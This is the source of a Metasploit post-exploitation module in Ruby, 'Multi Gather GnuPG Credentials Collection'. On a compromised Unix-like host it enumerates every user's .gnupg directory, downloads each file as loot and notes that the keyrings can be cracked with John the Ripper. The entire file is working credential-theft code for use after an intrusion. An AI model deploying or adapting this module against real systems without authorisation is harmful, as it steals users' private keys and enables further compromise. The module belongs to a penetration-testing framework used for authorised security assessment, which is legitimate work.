metasploit-framework/modules/post/multi/gather/gpg_creds.rb

75 lines
2.1 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
include Msf::Post::Unix
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather GnuPG Credentials Collection',
'Description' => %q{
This module will collect the contents of all users' .gnupg directories on the targeted
machine. Password protected secret keyrings can be cracked with John the Ripper (JtR).
},
'License' => MSF_LICENSE,
'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],
'Platform' => ['linux', 'bsd', 'unix', 'osx'],
'SessionTypes' => ['shell']
))
end
# This module is largely based on ssh_creds and firefox_creds.rb.
def run
print_status("Finding .gnupg directories")
paths = enum_user_directories.map {|d| d + "/.gnupg"}
# Array#select! is only in 1.9
paths = paths.select { |d| directory?(d) }
if paths.nil? or paths.empty?
print_error("No users found with a .gnupg directory")
return
end
download_loot(paths)
end
def download_loot(paths)
print_status("Looting #{paths.count} directories")
paths.each do |path|
path.chomp!
sep = "/"
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
files.each do |file|
target = "#{path}#{sep}#{file}"
if directory?(target)
next
end
print_status("Downloading #{path}#{sep}#{file} -> #{file}")
data = read_file(target)
file = file.split(sep).last
type = file.gsub(/\.gpg.*/, "").gsub(/gpg\./, "")
loot_path = store_loot("gpg.#{type}", "text/plain", session, data,
"gpg_#{file}", "GnuPG #{file} File")
print_good("File stored in: #{loot_path.to_s}")
end
end
end
end